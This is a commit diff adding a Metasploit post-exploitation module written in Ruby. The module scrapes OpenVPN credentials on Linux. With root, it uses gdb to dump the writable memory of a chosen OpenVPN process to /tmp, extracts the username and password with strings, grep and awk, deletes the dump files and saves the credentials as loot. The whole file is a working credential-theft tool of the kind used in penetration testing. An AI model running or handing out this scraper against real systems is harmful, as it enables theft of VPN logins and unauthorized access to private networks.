Land rapid7#6108, OpenVPN creds scraper

Author: wvu

modules/post/linux/gather/openvpn_credentials.rb

@@ -0,0 +1,92 @@
+##
+# This module requires Metasploit: http://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core'
+require 'rex'
+
+class Metasploit4 < Msf::Post
+
+  include Msf::Post::File
+  include Msf::Post::Linux::Priv
+  include Msf::Post::Linux::System
+
+  def initialize(info = {})
+    super(update_info(info,
+      'Name'          => 'OpenVPN Gather Credentials',
+      'Description'   => %q{
+        This module grab OpenVPN credentials from a running process
+        in Linux.
+
+        Note: --auth-nocache must not be set in the OpenVPN command line.
+      },
+      'License'       => MSF_LICENSE,
+      'Author'        =>
+        [
+          'rvrsh3ll', # Discovery
+          'Roberto Soares Espreto <robertoespreto[at]gmail.com>', # Metasploit Module
+        ],
+      'Platform'      => ['linux'],
+      'SessionTypes'  => ['shell', 'meterpreter'],
+      'References'    => [
+        ['URL', 'https://gist.github.com/rvrsh3ll/cc93a0e05e4f7145c9eb#file-openvpnscraper-sh']
+      ]
+    ))
+
+    register_options(
+      [
+        OptInt.new('PID', [true, 'Process IDentifier to OpenVPN client.']),
+        OptString.new('TMP_PATH', [true, 'The path to the directory to save dump process', '/tmp/'])
+      ], self.class
+    )
+  end
+
+  def pid
+    datastore['PID']
+  end
+
+  def tmp_path
+    datastore['TMP_PATH']
+  end
+
+  def run
+    user = cmd_exec('/usr/bin/whoami')
+    print_good("Module running as \"#{user}\" user")
+
+    unless is_root?
+      print_error('This module requires root permissions.')
+      return
+    end
+
+    dump = cmd_exec('/bin/grep rw-p /proc/'"#{pid}"'/maps | sed -n \'s/^\([0-9a-f]*\)-\([0-9a-f]*\) .*$/\1 \2/p\' | while read start stop; do /usr/bin/gdb --batch-silent --silent --pid '"#{pid}"' -ex "dump memory '"#{tmp_path}#{pid}"'-$start-$stop.dump 0x$start 0x$stop"; done 2>/dev/null; echo $?')
+    if dump.chomp.to_i == 0
+      vprint_good('Succesfully dump.')
+    else
+      print_warning('Could not dump process.')
+      return
+    end
+
+    strings = cmd_exec("/usr/bin/strings #{tmp_path}*.dump | /bin/grep -B2 KnOQ  | /bin/grep -v KnOQ | /usr/bin/column | /usr/bin/awk '{print \"User: \"$1\"\\nPass: \"$2}'")
+
+    deldump = cmd_exec("/bin/rm #{tmp_path}*.dump --force 2>/dev/null; echo $?")
+    if deldump.chomp.to_i == 0
+      vprint_good('Removing temp files successfully.')
+    else
+      print_warning('Could not remove dumped files. Remove manually.')
+    end
+
+    fail_with(Failure::BadConfig, 'No credentials. You can check if the PID is correct.') if strings.empty?
+
+    vprint_good("OpenVPN Credentials:\n#{strings}")
+
+    p = store_loot(
+      'openvpn.grab',
+      'text/plain',
+      session,
+      strings,
+      nil
+    )
+    print_status("OpenVPN Credentials stored in #{p}")
+  end
+end